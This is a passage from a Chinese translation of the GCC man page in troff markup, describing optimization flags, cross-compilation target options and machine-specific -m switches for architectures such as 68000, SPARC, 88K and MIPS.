了 .B \-finline\-functions 选项. .TP .B \-O0 不优化. .Sp 如果 指定了 多个 .B \-O 选项, 不管 带不带 数字, 最后一个 选项 才是 生效 的 选项. .PP 诸如 `\|\c .B \-f\c .I flag\c \&\c \&\|' 此类 的 选项 描述 一些 机器无关 的 开关. 大多数 开关 具有 肯定 和 否定 两种格式; `\|\c .B \-ffoo\c \&\|' 开关选项 的 否定格式 应该是 `\|\c .B \-fno\-foo\c \&\|'. 下面的 列表 只展示了 一种 格式 \(em\& 那个 不是 默认选项 的 格式. 你 可以 通过 去掉 或 添加 `\|\c .B no\-\c \&\|' 构造出 另一种 格式. .TP .B \-ffloat\-store 不要 在 寄存器 中 存放 浮点变量. 这样 可以 防止 某些 机器 上 不希望 的 过高 精度, 如 68000 的 浮点寄存器 (来自 68881) 保存的 精度 超过了 \c .B double\c \& 应该 具有的 精度. .Sp 对于 大多数 程序, 过高 精度 只有 好处. 但是 有些 程序 严格 依赖于 IEEE 浮点数 的 定义. 对 这样的 程序 可以 使用 `\|\c .B \-ffloat\-store\c \&\|' 选项. .TP .B \-fmemoize\-lookups .TP .B \-fsave\-memoized 使用 探索法 (heuristic) 进行 更快的 编译 (仅对 C++). 默认情况下 不使用 探索法. 由于 探索法 只对 某些 输入文件 有效, 其他程序 的 编译速度 会变得 更慢. .Sp 第一次 编译器 必须 对 成员函数 (或对 成员数据 的 引用) 建立 一个 调用. 它 必须 (1) 判断出 这个类 是否 实现了 那个 名字 的 成员函数; (2) 决定 调用 哪个 成员函数 (涉及到 推测 需要 做 哪种 类型转换); (3) 检查 成员函数 对 调用者 是否 可见. 所有 这些 构成 更慢的 编译. 一般情形, 第二次 对 成员函数 (或对 成员数据 的 引用) 建立 的 调用, 必须 再次 经过 相同 长度 的 处理. 这 意味着 象 这样的 代码 .Sp \& cout << "This " << p << " has " << n << " legs.\en"; .Sp 对 整个 三步骤 要做 六次 遍历. 通过 使用 软件缓存, \*(lq命中\*(rq 能够 显著地 减少 这种 代价. 然而 不幸的 是, 使用 这种 缓存 必须 实现 其他 机制, 带来了 它 自己的 开销. `\|\c .B \-fmemoize\-lookups\c \&\|' 选项 打开 软件缓存. .Sp 因为 函数 的 正文环境 不同, 函数 对 成员 和 成员函数 的 访问权 (可见性) 也可能 不同, .B g++ 可能 需要 刷新 缓存. 使用 `\|\c .B \-fmemoize\-lookups\c \&\|' 选项, 每 编译完 一个 函数 就 刷新 缓存. 而 `\|\c \-fsave\-memoized\c \&\|' 选项 也 启用 同样的 缓存, 但是 当 编译器 发觉 最后 编译 的 函数 的 正文环境 产生 的 访问权 和 下一个 待编译的 函数 相同, 编译器 就 保留 缓存 内容. 这对 某个类 定义 许多 成员函数 时 非常 有用: 除了 某些 其他类 的 友函数, 每个 成员函数 拥有 和 其他 成员函数 完全一样 的 访问权, 因而 无需 刷新 缓存. .TP .B \-fno\-default\-inline 默认为 不要 把 成员函数 内嵌, 因为 它们 定义在 类的 作用域 内 (仅C++). .TP .B \-fno\-defer\-pop 一旦 函数 返回, 参数 就 立即 弹出. 对于 那些 调用 函数 后 必须 弹出 参数 的 机器, 编译器 一般情况下 让 几次 函数调用 的 参数 堆积 在 栈 上, 然后 一次 全部 弹出. .TP .B \-fforce\-mem 做 数学运算 前 把 将要 使用的 内存操作数 送入 寄存器. 通过 把 内存访问 转换成 潜在的 公共子表达式, 它 可能 产生 较好的 目标码. 如果 它们 不是 公共子表达式, 指令组合 应该 消除 各自的 寄存器载荷. 我 乐意 倾听 不同意见. .TP .B \-fforce\-addr 做 数学运算 前 把 将要 使用的 内存地址常数 送入 寄存器. 它 可能 和 `\|\c .B \-fforce\-mem\c \&\|' 一样 产生 较好的 目标码. 我 乐意 倾听 不同意见. .TP .B \-fomit\-frame\-pointer 对于 不需要 帧指针 (frame pointer) 的 函数, 不要 在 寄存器 中 保存 帧指针. 这样 能够 避免 保存, 设置 和 恢复 帧指针 的 指令; 同时 对 许多 函数 提供 一个 额外的 寄存器. \c .I 但是 在 大多数 机器 上将 无法 调试\c \&. .Sp 某些机器上, 如 Vax, 这个 选项 无效, 因为 标准调用序列 自动 处理 帧指针, 通过 假装 不存在 而 不保存 任何 东西. 机器描述宏 \c .B FRAME_POINTER_REQUIRED\c \& 控制 目标机 是否 支持 这个选项. .TP .B \-finline\-functions 把 所有 简单的 函数 集成进 调用者. 编译器 探索式地 决定 哪些 函数 足够 简单, 值得 这种 集成. .Sp 如果 集成了 所有 给定函数 的 调用, 而且 函数 声明为 \c .B static\c \&, 那么 一般说来 GCC 有权 不按 汇编代码 输出 函数. .TP .B \-fcaller\-saves 允许 在 寄存器 里 分配 数值, 但是 这个方案 通常 受到 各个 函数调用 的 冲击, 因此 GCC 生成 额外的 代码, 在 函数调用 的 前后 保存 和 复原 寄存器 内容. 仅当 生成代码 看上去 优于 反之结果 时 才 实现 这样 的 分配. .Sp 某些 机器 上 该选项 默认为 允许, 通常 这些 机器 没有 调用保护寄存器 代替 使用. .TP .B \-fkeep\-inline\-functions 即使 集成了 某个 函数 的 所有 调用, 而且 该函数 声明为 \c .B static\c \&, 仍然 输出 这个函数 一个 独立的, 运行时 可调用 的 版本. .TP .B \-fno\-function\-cse 不要 把 函数地址 存入 寄存器; 让 调用 固定函数 的 指令 显式 给出 函数地址. .Sp 这个选项 产生 效率 较低 的 目标码, 但是 如果 不用 这个选项, 某些 不寻常 的 hack, 改变 汇编器 的 输出, 可能 因 优化 而 带来 困惑. .TP .B \-fno\-peephole 禁止 任何 机器相关的 peephole 优化. .TP .B \-ffast-math 这个选项 出于 速度优化, 允许 GCC 违反 某些 ANSI 或 IEEE 规则/规格. 例如, 它 允许 编译器 假设 \c .B sqrt\c \& 函数 的 参数 是 非负数. .Sp 这个选项 不被 任何 `\|\c .B \-O\c \&\|' 选项 打开, 因为 对于 严格 依靠 IEEE 或 ANSI 规则/规格 实现 的 数学函数, 程序 可能 会产生 错误的 结果. .PP 下列 选项 控制 特定的 优化. `\|\c .B \-O2\c \&\|' 选项 打开 下面的 大多数 优化项, 除了 `\|\c .B \-funroll\-loops\c \&\|' 和 `\|\c .B \-funroll\-all\-loops\c \&\|' 项. .PP 而 `\|\c .B \-O\c \&\|' 选项 通常 打开 `\|\c .B \-fthread\-jumps\c \&\|' 和 `\|\c .B \-fdelayed\-branch\c \&\|' 优化项, 但是 特定的 机器 上的 默认优化项 有可能 改变. .PP 如果 特别情况 下 非常 需要 \*(lq微调\*(rq 优化, 你 可以 使用 下面的 选项. .TP .B \-fstrength\-reduce 执行 循环强度缩小 (loop strength reduction) 优化, 并且 消除 重复变量. .TP .B \-fthread\-jumps 执行 优化 的 地点 是, 如果 某个 跳转分支 的 目的地 存在 另一个 条件比较, 而且 该 条件比较 包含在 前一个 比较语句 之内, 那么 执行 优化. 根据 条件 是 true 或者 false, 前面 那条 分支 重定向 到 第二条 分支 的 目的地 或者 紧跟在 第二条 分支 后面. .TP .B \-funroll\-loops 执行 循环展开 (loop unrolling) 优化. 仅对 循环次数 能够 在 编译时 或 运行时 确定 的 循环 实行. .TP .B \-funroll\-all\-loops 执行 循环展开 (loop unrolling) 优化. 对 所有 循环 实行. 通常 使 程序 运行的 更慢. .TP .B \-fcse\-follow\-jumps 在 公共子表达式消元 (common subexpression elimination) 的 时候, 如果 没有 其他 路径 到达 某个 跳转 的 目的地, 就 扫过 这条 jump 指令. 例如, 如果 CSE 遇到 带有 \c .B else\c 从句 的 \c .B if\c \& 语句, 当 条件测试 为 false 时, CSE 就 跟在 jump 后面. .TP .B \-fcse\-skip\-blocks 它 类似于 `\|\c .B \-fcse\-follow\-jumps\c \&\|' 选项, 但是 CSE 跟在 条件跳转 后面, 条件跳转 跳过了 语句块(block). 如果 CSE 遇到 一条 简单的 \c .B if\c \& 语句, 不带 else 从句, `\|\c .B \-fcse\-skip\-blocks\c \&\|' 选项 将导致 CSE 跟在 \c .B if\c \& 产生 的 跳转 后面. .TP .B \-frerun\-cse\-after\-loop 执行 循环优化 后, 重新 进行 公共子表达式消元. .TP .B \-felide\-constructors 如果 看上去 合理 就 省略 构造子 (仅C++). 根据 这个选项, 对于 下面的 代码, GNU C++ 直接 从 调用 \c .B foo\c \& 初始化 \c .B y\c \&, 而无需 通过 临时变量: .Sp A foo (); A y = foo (); .Sp 如果 没有 这个选项, GNU C++ 首先 通过 调用 类型 \c .B A \c 合适的 构造子 初始化 \c .B y\c \&; 然后 把 \c .B foo\c \& 的 结果 赋给 临时变量; 最后, 用 临时变量 替换 `\|\c .B y\c \&\|' 的 初始值. .Sp ANSI C++ 标准草案 规定了 默认行为 (`\|\c .B \-fno\-elide\-constructors\c \&\|'). 如果 程序的 构造子 存在 副效应, `\|\c .B \-felide-constructors\c \&\|' 选项 能够 使 程序 有 不同的 表现, 因为 可能 忽略 一些 构造子 的 调用. .TP .B \-fexpensive\-optimizations 执行 一些 相对 开销 较大 的 次要 优化. .TP .B \-fdelayed\-branch 如果 对 目标机 支持 这个 功能, 它 试图 重新 排列 指令, 以便 利用 延迟分支 (delayed branch) 指令 后面的 指令 空隙. .TP .B \-fschedule\-insns 如果 对 目标机 支持 这个 功能, 它 试图 重新 排列 指令, 以便 消除 因 数据未绪 造成的 执行停顿. 这可以 帮助 浮点运算 或 内存访问 较慢 的 机器 调取 指令, 允许 其他 指令 先执行, 直到 调取 指令 或 浮点运算 完成. .TP .B \-fschedule\-insns2 类似于 `\|\c .B \-fschedule\-insns\c \&\|' 选项, 但是 在 寄存器分配 完成后, 需要 一个 额外的 指令调度 过程. 对于 寄存器 数目 相对 较少, 而且 取内存指令 大于 一个周期 的 机器, 这个选项 特别 有用. .SH "目标机选项 (TARGET OPTION)" 缺省情况下, GNU CC 编译出 本机 类型 的 目标码. 然而 也可以 把他 安装成 交叉编译器, 为 其他 机型 编译 程序. 事实上, 针对 不同的 目标机, 可以 同时 安装 GNU CC 相应 的 配置. 然后 用 `\|\c .B \-b\c \&\|' 选项 指定 目标机种. .PP 顺便提一下, 新版本 和 旧版本 的 GNU CC 可以 共存. 其中一个 版本 (可能是 最新的 那个) 为 缺省 版本, 但是 有时候 你 希望 使用 其他 版本. .TP .BI "\-b " "machine" 参数 \c .I machine\c \& 指出 编译的 目标机种. 这个 选项 用于 安装为 交叉编译器 的 GNU CC. .Sp 参数 \c .I machine\c \& 的 值 和 配置 GNU CC 交叉编译器 时 设置 的 机器类型 一样. 例如, 如果 交叉编译器 配置有 `\|\c .B configure i386v\c \&\|', 意思是 编译 80386 上的 System V 目标码, 那么 你 可以 通过 `\|\c .B \-b i386v\c \&\|' 运行 交叉编译器. .Sp 如果 没有 指定 `\|\c .B \-b\c \&\|' 选项, 通常 指 编译 本机 目标码. .TP .BI "\-V " "version" 参数 \c .I version\c \& 指出 运行 哪个 版本 的 GNU CC. 这个 选项 用于 安装了 多个 版本 的 GCC. 例如, 如果 .I version\c \& 是 `\|\c .B 2.0\c \&\|', 意味着 运行 GNU CC 2.0 版. .Sp 如果 没有 指定 `\|\c .B \-V\c \&\|' 选项, 缺省版本 取决于 GNU CC 的 安装方式, 一般说来 推荐 使用 通用版本. .SH "机器相关选项 (MACHINE DEPENDENT OPTION)" 每一种 目标机型 都有 自己的 特别选项, 这些 选项 用 `\|\c .B \-m \c \&\|' 开关 引导, 选择 不同的 硬件 型号 或 配置 \(em\& 例如, 68010 还是 68020, 有没有 浮点协处理器. 通过 指定 选项, 安装 编译器 的 一个 版本 能够 为 所有的 型号 或 配置 进行 编译. .PP 此外, 编译器 的 某些 配置 支持 附加的 特殊选项, 通常 是 为了 在 命令行 上 兼容 这个 平台 的 其他 编译器. .PP 下面是 针对 68000 系列 定义 的 `\|\c .B \-m\c \&\|' 选项: .TP .B \-m68000 .TP .B \-mc68000 输出 68000 的 目标码. 如果 编译器 按 基于 68000 的 系统 配置, 这个 选项 就是 缺省选项. .TP .B \-m68020 .TP .B \-mc68020 输出 68020 的 目标码 (而不是 68000). 如果 编译器 按 基于 68020 的 系统 配置, 这个 选项 就是 缺省选项. .TP .B \-m68881 输出 包含 68881 浮点指令 的 目标码. 对于 大多数 基于 68020 的 系统 这是 缺省选项, 除非 设置 编译器 时 指定了 .B \-nfp . .TP .B \-m68030 输出 68030 的 目标码. 如果 编译器 按 基于 68030 的 系统 配置, 这个 选项 就是 缺省选项. .TP .B \-m68040 输出 68040 的 目标码. 如果 编译器 按 基于 68040 的 系统 配置, 这个 选项 就是 缺省选项. .TP .B \-m68020\-40 输出 68040 的 目标码, 但是 不使用 新指令. 生成 的 代码 可以 在 68020/68881 上, 也可以 在 68030 或 68040 上 较有效地 运行. .TP .B \-mfpa 输出 包含 SUN FPA 浮点指令 的 目标码. .TP .B \-msoft\-float 输出 包含 浮点库调用 的 目标码. .I 警告: 所需的库 不是 GNU CC 的 组成部分. 一般说来 GCC 使用 该机型 本地 C 编译器 的 相应部件, 但是 作 交叉编译 时 却不能 直接 使用. 你 必须 自己 管理 提供 合适的 函数库 用于 交叉编译. .TP .B \-mshort 认为 \c .B int\c \& 类型 是 16 位宽, 相当于 \c .B short int\c \&. .TP .B \-mnobitfield 不使用 位域 (bit-field) 指令. `\|\c .B \-m68000\c \&\|' 隐含指定了 `\|\c .B \-mnobitfield\c \&\|'. .TP .B \-mbitfield 使用 位域指令. `\|\c .B \-m68020\c \&\|' 隐含指定了 `\|\c .B \-mbitfield\c \&\|'. 如果 你 使用 未改装的 gcc, 这就是 默认选项. .TP .B \-mrtd 采用 另一种 函数调用约定, 函数 接受 固定 数目的 参数, 用 \c .B rtd 指令 返回, 该指令 返回时 弹出 栈内的 参数. 这个 方法 能够 使 调用者 节省 一条 指令, 因为 他 这里 不需要 弹出 参数. .Sp 这种 调用约定 不兼容 UNIX 的 正常 调用. 因此 如果 你 需要 调用 UNIX 编译器 编译的 库函数, 你 就不能 使用 这个选项. .Sp 此外, 所有 参数数量 可变地 函数 必须 提供 函数原型 (包括 \c .B printf\c \&); 否则 编译器 会生成 错误的 调用 代码. .Sp 另外, 如果 调用 函数 时 携带了 过多的 参数, 编译器 将 生成 严重错误的 代码. (正常情况下, 多余的 参数 被 安全无害的 忽略.) .Sp 68010 和 68020 处理器 支持 \c .B rtd\c \& 指令, 但是 68000 不支持. .PP 下面是 针对 VAX 定义 的 `\|\c .B \-m\c \&\|' 选项: .TP .B \-munix 禁止 输出 某些 跳转指令 (\c .B aobleq\c \& 等等), VAX 的 UNIX 汇编器 无法 跨越 长范围 (long ranges) 进行 处理. .TP .B \-mgnu 如果 使用 GNU 汇编器, 则 输出 那些 跳转指令, .TP .B \-mg 输出 g-format 浮点数, 取代 d-format. .PP 下面是 SPARC 支持的 `\|\c .B \-m\c \&\|' 选项开关: .PP .B \-mfpu .TP .B \-mhard\-float 输出 包含 浮点指令 的 目标码. 这是 缺省选项. .PP .B \-mno\-fpu .TP .B \-msoft\-float 输出 包含 浮点库调用 的 目标码. .I 警告: 没有 为 SPARC 提供 GNU 浮点库. 一般说来 使用 该机型 本地 C 编译器 的 相应部件, 但是 不能 直接 用于 交叉编译. 你 必须 自己 安排, 提供 用于 交叉编译 的 库函数. .Sp .B \-msoft\-float 改变了 输出文件 中的 调用约定; 因此 只有 用 这个 选项 编译 .I 整个 程序 才有 意义. .PP .B \-mno\-epilogue .TP .B \-mepilogue 使用 .B \-mepilogue (缺省) 选项 时, 编译器 总是 把 函数 的 退出 代码 放在 函数 的 尾部. 任何 在 函数 中间 的 退出 语句 (例如 C 中的 return 语句) 将 产生出 跳转指令 指向 函数 尾部. .Sp 使用 .BR \-mno\-epilogue 选项 时, 编译器 尽量 在 每个 函数 退出点 嵌入 退出 代码. .PP .B \-mno\-v8 .TP .B \-mv8 .TP .B \-msparclite 这三个 选项 选择 不同种类 的 SPARC 系统. .Sp 默认情况下 (除非 特别为 Fujitsu SPARClite 配置), GCC 生成 SPARC v7 目标码. .Sp .B \-mv8 生成 SPARC v8 目标码. 他 和 v7 目标码 唯一的 区别 是, 编译器 生成 整数乘法 和 整数除法 指令, SPARC v8 支持 该指令, 而 v7 体系 不支持. .Sp .B \-msparclite 生成 SPARClite 目标码. 增加了 SPARClite 支持的 整数乘法, 整数除法单步扫描 (integer divide step and scan (ffs)) 指令. v7 体系 不支持 这些 指令. .PP .B \-mcypress .TP .B \-msupersparc 这两个 选项 选择 处理器 型号, 针对 处理器 进行 代码 优化. .Sp .B \-mcypress 选项 (默认项) 使 编译器 对 Cypress CY7C602 芯片 优化 代码, SparcStation/SparcServer 3xx 系列 使用 这种 芯片. 该选项 也 适用于 老式的 SparcStation 1, 2, IPX 等 机型.. .Sp .B \-msupersparc 选项 使 编译器 对 SuperSparc 处理器 优化 代码, SparcStation 10, 1000 和 2000 系列 使用 这种 芯片. 同时 该选项 启用 完整的 SPARC v8 指令集. .PP 下面是 针对 Convex 定义 的 `\|\c .B \-m\c \&\|' 选项: .TP .B \-mc1 输出 C1 的 目标码. 当 编译器 对 C1 配置时, 这是 默认选项. .TP .B \-mc2 输出 C2 的 目标码. 当 编译器 对 C2 配置时, 这是 默认选项. .TP .B \-margcount 在 每个 参数列表 的 前面 放置 一个 参数计数字 (argument count word). 某些 不可移植 的 Convex 和 Vax 程序 需要 这个 参数计数字. (调试器 不需要 他, 除非 函数 带有 变长参数 列表; 这个 信息 存放在 符号表 中.) .TP .B \-mnoargcount 忽略 参数计数字. 如果 你 使用 未改装 的 gcc, 这是 默认 选项. .PP 下面是 针对 AMD Am29000 定义 的 `\|\c .B \-m\c \&\|' 选项: .TP .B \-mdw 生成的 目标码 认为 DW 置位, 就是说, 字节 和 半字 操作 由 硬件 直接 支持. 该选项 是 默认选项. .TP .B \-mnodw 生成的 目标码 认为 DW 没有 置位. .TP .B \-mbw 生成的 目标码 认为 系统 支持 字节 和 半字 写操作. 该选项 是 默认选项. .TP .B \-mnbw 生成的 目标码 认为 系统 不支持 字节 和 半字 写操作. 该选项 隐含 开启 了 `\|\c .B \-mnodw\c \&\|' 选项. .TP .B \-msmall 使用 小内存模式, 小内存模式 假设 所有 函数 的 地址 位于 某个 256 KB 段内, 或者 所有 函数 的 绝对地址 小于 256K. 这样 就可以 用 \c .B call\c \& 指令 代替 \c .B const\c \&, \c .B consth\c \&, \c .B calli\c \& 指令 序列. .TP .B \-mlarge 假设 不能 使用 \c .B call\c \& 指令; 这是 默认选项. .TP .B \-m29050 输出 Am29050 的 目标码. .TP .B \-m29000 输出 Am29000 的 目标码. 这是 默认选项. .TP .B \-mkernel\-registers 生成的 目标码 引用 \c .B gr64-gr95\c \& 寄存器 而不是 .B gr96-gr127\c \& 寄存器. 该选项 可以 用于 编译 内核代码, 内核 需要 一组 全局寄存器, 这些 全局寄存器 和 用户模式 使用的 寄存器 完全无关. .Sp 注意, 使用 这个 选项 时, `\|\c .B \-f\c \&\|' 选项 中的 寄存器名字 必须是 normal, user-mode, names. .TP .B \-muser\-registers 使用 普通 全局寄存器集 \c .B gr96-gr127\c \&. 这是 默认选项. .TP .B \-mstack\-check 在 每次 堆栈 调整 后 插入 一条 \c .B _\|_msp_check\c \& 调用. 这个选项 常用于 内核代码. .PP 下面是 针对 Motorola 88K 体系 定义 的 `\|\c .B \-m\c \&\|' 选项: .TP .B \-m88000 生成的 目标码 可以 在 m88100 和 m88110 上 正常工作. .TP .B \-m88100 生成的 目标码 在 m88100 上 工作的 最好, 但也可以 在 m88110 上 运行. .TP .B \-m88110 生成的 目标码 在 m88110 上 工作的 最好, 可能 不能 在 m88100 上 运行. .TP .B \-midentify\-revision 在 汇编器 的 输出端 包含 一条 \c .B ident\c \& 指令, 记录 源文件名, 编译器名字 和 版本, 时标, 以及 使用的 编译选项, .TP .B \-mno\-underscores 在 汇编器 的 输出端, 符号名字 前面 不添加 下划线. 默认情况 是 在 每个 名字 前面 增加 下划线 前缀. .TP .B \-mno\-check\-zero\-division .TP .B \-mcheck\-zero\-division 早期 型号 的 88K 系统 在 除零操作 上 存在 问题, 特定情况下 许多 机器 无法 自陷. 使用 这些 选项 可以 避免包含 (或 可以 显明包含) 附加的 代码, 这些代码 能够 检查 除零错, 发送 例外信号. GCC 所有 88K 的 配置 默认 使用 `\|\c .B \-mcheck\-zero\-division\c \&\|' 选项. .TP .B \-mocs\-debug\-info .TP .B \-mno\-ocs\-debug\-info 包含 (或忽略) 附加的 调试信息 (关于 每个 栈架结构 中 寄存器 的 使用), 88Open Object Compatibility Standard, \*(lqOCS\*(rq, 对 此信息 做了 说明. GDB 不需要 这些 额外信息. DG/UX, SVr4, 和 Delta 88 SVr3.2 的 默认配置 是 包含 调试信息, 其他 88k 机型 的 默认配置 是 忽略 这个信息. .TP .B \-mocs\-frame\-position .TP .B \-mno\-ocs\-frame\-position 强制 (或 不要求) 把 寄存器值 存储到 栈架结构 中的 指定位置 (按 OCS 的说明). DG/UX, Delta88 SVr3.2 和 BCS 的 默认配置 使用 `\|\c .B \-mocs\-frame\-position\c \&\|' 选项; 其他 88k 机型 的 默认配置 是 `\|\c .B \-mno\-ocs\-frame\-position\c \&\|'. .TP .B \-moptimize\-arg\-area .TP .B \-mno\-optimize\-arg\-area 控制 如何 在 堆栈结构 中 存储 函数参数. `\|\c .B \-moptimize\-arg\-area\c \&\|' 节省 空间, 但是 有可能 宕掉 某些 调试器 (不是 GDB). `\|\c .B \-mno\-optimize\-arg\-area\c \&\|' 证实 比 标准选项 好. 默认情况下 GCC 不优化 参数域. .TP .B \-mshort\-data\-\c .I num 通过 和 \c .B r0\c \& 关联, 产生 较小的 数据引用 (data reference), 这样 就可以 用 单指令 调入 一个 数值 (而不是 平常的 双指令). 用户 通过 选项中的 \c .I num\c \& 控制 改变 哪种 数据引用. 例如, 如果 你 指定了 `\|\c .B \-mshort\-data\-512\c \&\|', 那么 受影响的 数据引用 是 小于 512 字节 的 数据移动. \c .B \-mshort\-data\-\c .I num\c 选项 对 大于 64K 的 \c .I num \c 无效. .PP .B \-mserialize-volatile .TP .B \-mno-serialize-volatile 产生, 或 不产生 代码 来保证 对 易变内存访问 的 结果一致. .Sp 对于 常用的 处理器 子型号, GNU CC 始终 默认 保证 这种 一致性. 如何实现 结果一致 取决于 处理器 子型号. .Sp m88100 处理器 不对 内存引用 重新安排, 因此 访问结果 始终一致. 如果 使用了 `\|\c .B \-m88100\c \&\|' 选项, GNU CC 不产生 任何 针对 结果一致 的 特别指令. .Sp m88110 处理器 的 内存引用顺序 并不始终 符合 指令 请求的 引用顺序. 特别是 某条 读取指令 可能 在 先前的 存储指令 之前 执行. 多处理器 环境下, 乱序访问 扰乱了 易变内存访问 的 结果一致. 因此 当使用 `\|\c .B \-m88000\c \&\|' 或 `\|\c .B \-m88110\c \&\|' 选项时, GNU CC 在 适当的时候 产生 特别的指令 迫使 执行顺序 正确. .Sp 这些 用于 保证 一致性 的 额外代码 有可能 影响 程序 的 性能. 如果 你 确认 能够 安全地 放弃 这种 保证, 你 可以 使用 `\|\c .B \-mno-serialize-volatile\c \&\|' 选项. .Sp 如果 你 使用 `\|\c .B \-m88100\c \&\|' 选项, 但是 需要 在 m88110 处理器 上 运行时 的 结果一致, 你 应该 加上 `\|\c .B \-mserialize-volatile\c \&\|' 选项. .PP .B \-msvr4 .TP .B \-msvr3 打开 (`\|\c .B \-msvr4\c \&\|') 或 关闭 (`\|\c .B \-msvr3\c \&\|') 和 System V 第四版 (SVr4) 相关的 编译器扩展. 效果 如下: .TP \ \ \ \(bu 输出 哪种 汇编语法 (你 可以 使用 `\|\c .B \-mversion\-03.00\c \&\|' 选项 单独 选择). .TP \ \ \ \(bu `\|\c .B \-msvr4\c \&\|' 使 C 预处理器 识别 `\|\c .B #pragma weak\c \&\|' 指令 .TP \ \ \ \(bu `\|\c .B \-msvr4\c \&\|' 使 GCC 输出 额外的 声明指令(declaration directive), 用于 SVr4. .PP 除了 SVr4 配置, `\|\c .B \-msvr3\c \&\|' 是 所有 m88K 配置 的 默认选项. .TP .B \-mtrap\-large\-shift .TP .B \-mhandle\-large\-shift 包含 一些 指令, 用于 检测 大于 31 位 的 位移 (bit-shift); 根据 相应的 选项, 对 这样 的 位移 发出 自陷 (trap) 或 执行 适当 的 处理代码. 默认情况下, GCC 对 大位移 不做 特别处理. .TP .B \-muse\-div\-instruction 很早以前 的 88K 型号 没有 (div) 除法指令, 因此 默认情况下 GCC 避免 产生 这条 指令. 而 这个 选项 告诉 GCC 该指令 是 安全的. .TP .B \-mversion\-03.00 在 DG/UX 配置 中 存在 两种 风格 的 SVr4. 这个选项 修改 .B \-msvr4 , 选择 hybrid-COFF 或 real-ELF 风格. 其他 配置 均 忽略 该选项. .TP .B \-mwarn\-passed\-structs 如果 某个函数 把 结构 当做 参数 或 结果 传递, GCC 发出 警告. 随着 C 语言 的 发展, 人们 已经 改变了 传递 结构 的 约定, 它 往往 导致 移植问题. 默认情况下, GCC 不会 发出 警告. .PP 下面的选项 用于 IBM RS6000: .PP .B \-mfp\-in\-toc .TP .B \-mno\-fp\-in\-toc 控制 是否 把 浮点常量 放到 内容表 (TOC) 中, 内容表 存放 所有的 全局变量 和 函数地址. 默认情况下, GCC 把 浮点常量 放到 这里; 如果 TOC 溢出, `\|\c .B \-mno\-fp\-in\-toc\c \&\|' 选项 能够 减少 TOC 的 大小, 这样 就可以 避免 溢出. .PP 下面的 `\|\c .B \-m\c \&\|' 选项 用于 IBM RT PC: .TP .B \-min\-line\-mul 对于 整数乘法 使用 嵌入代码. 这是 默认选项. .TP .B \-mcall\-lib\-mul 对于 整数乘法 使用 \c .B lmul$$\c \& . .TP .B \-mfull\-fp\-blocks 生成 全尺寸 浮点数据块, 包括 IBM 建议 的 最少数量 的 活动空间 (scratch space). 这是 默认选项. .TP .B \-mminimum\-fp\-blocks 不要 在 浮点数据块 中 包括 额外的 活动空间. 这样 就 产生 较小 但是 略慢 的 可执行程序, 因为 活动空间 必须 动态分配. .TP .B \-mfp\-arg\-in\-fpregs 采用 不兼容 IBM 调用约定 的 调用序列, 通过 浮点寄存器 传送 浮点参数. 注意, 如果 指定了 这个选项, \c .B varargs.h\c \& 和 \c .B stdargs.h\c \& 将 无法 支持 浮点单元. .TP .B \-mfp\-arg\-in\-gregs 使用 正常的 调用约定 处理 浮点参数. 这是 默认选项. .TP .B \-mhc\-struct\-return 通过 内存 返回 大于 一个字 的 结构, 而不是 通过 寄存器. 用于 兼容 MetaWare HighC (hc) 编译器. 使用 `\|\c .B \-fpcc\-struct\-return\c \&\|' 选项 可以 兼容 Portable C 编译器 (pcc). .TP .B \-mnohc\-struct\-return 如果可以, 通过 寄存器 返回 某些 大于 一个字 的 结构. 这是 默认选项. 如果 打算 兼容 IBM 提供 的 编译器, 请使用 `\|\c .B \-fpcc\-struct\-return\c \&\|' 或 `\|\c .B \-mhc\-struct\-return\c \&\|' 选项. .PP 下面的 `\|\c .B \-m\c \&\|' 选项 用于 MIPS 家族 的 计算机: .TP .BI "\-mcpu=" "cpu-type" 生成 指令 的 时候, 假设 默认的 机器类型 是 .I cpu-type . 默认情况下 的 .I cpu-type 是 .BR default , GCC 将选取 任何机型 上 都是 最长周期时间 的 指令, 这样 才能使 代码 在 所有的 MIPS 处理器 上 以 合理 的 速度 运行. .I cpu-type 的 其他 选择 是 .BR r2000 , .BR r3000 , .BR r4000 , 和 .BR r6000 . 虽然 选定 某个 .I cpu-type 后, GCC 将 针对 选定的 芯片 安排 对应的 工作, 但是 如果 不指定 .B \-mips2 或 .B \-mips3 选项, 编译器 不会 输出 任何 不符合 MIPS ISA (instruction set architecture) 一级 的 代码. .TP .B \-mips2 输出 MIPS ISA 二级指令 (可能的扩展, 如平方根指令). .B \-mcpu=r4000 或 .B \-mcpu=r6000 选项 必须 和 .BR \-mips2 联用. .TP .B \-mips3 输出 MIPS ISA 三级指令 (64位指令). .B \-mcpu=r4000 选项 必须 和 .BR \-mips2 联用. (译注: 疑为 \-mips3) .TP .B \-mint64 .TP .B \-mlong64 .TP .B \-mlonglong128 这些 选项 目前 不起作用. .TP .B \-mmips\-as 产生 用于 MIPS 汇编器 的 代码, 同时 使用 .B mips\-tfile 添加 普通的 调试信息. 对于 大多数 平台 这是 默认选项, 除了 OSF/1 参考平台, 它 使用 OSF/rose 目标 格式. 如果 打开了 任一个 .BR \-ggdb , .BR \-gstabs , 或 .B \-gstabs+ 选项开关, .B mips\-tfile 程序 就把 stab 封装在 MIPS ECOFF 里面. .TP .B \-mgas 产生 用于 GNU 汇编器 的 代码. 在 OSF/1 参考平台 上 这是 默认选项, 它 使用 OSF/rose 目标 格式. .TP .B \-mrnames .TP .B \-mno\-rnames .B \-mrnames 开关选项 告诉 输出代码 使用 MIPS 软件名称 说明 寄存器, 而不是 硬件名称 (就是说, 用 .B a0 代替 .BR $4 ). GNU 汇编器 不支持 .B \-mrnames 选项, 而 MIPS 汇编器 则 运行 MIPS C 预处理器 处理 源文件. .B \-mno\-rnames 是 默认选项. .TP .B \-mgpopt .TP .B \-mno\-gpopt .B \-mgpopt 开关选项 要求 在 正文段 中 把 所有的 数据声明 写到 指令 前面, 使 各种 MIPS 汇编器 对 短类型 全局 或 静态 数据项 (short global or static data items) 输出 单字内存访问 而不是 双字内存访问. 当 打开 编译优化 时, 这是 默认功能. .TP .B \-mstats .TP .B \-mno\-stats 每次 处理完 非嵌入函数 (non-inline function) 后, .B \-mstats 开关选项 使 编译器 向 标准错误文件 输出 一行 关于 程序 的 统计资料 (保存的 寄存器 数目, 堆栈 大小, 等等). .TP .B \-mmemcpy .TP .B \-mno\-memcpy .B \-mmemcpy 开关选项 使 所有 的 块移动 操作 调用 适当的 string 函数 .RB ( memcpy 或 .BR bcopy ), 而不是 生成 嵌入代码. .TP .B \-mmips\-tfile .TP .B \-mno\-mips\-tfile 当 MIPS 汇编器 生成 .B mips\-tfile 文件 (用于 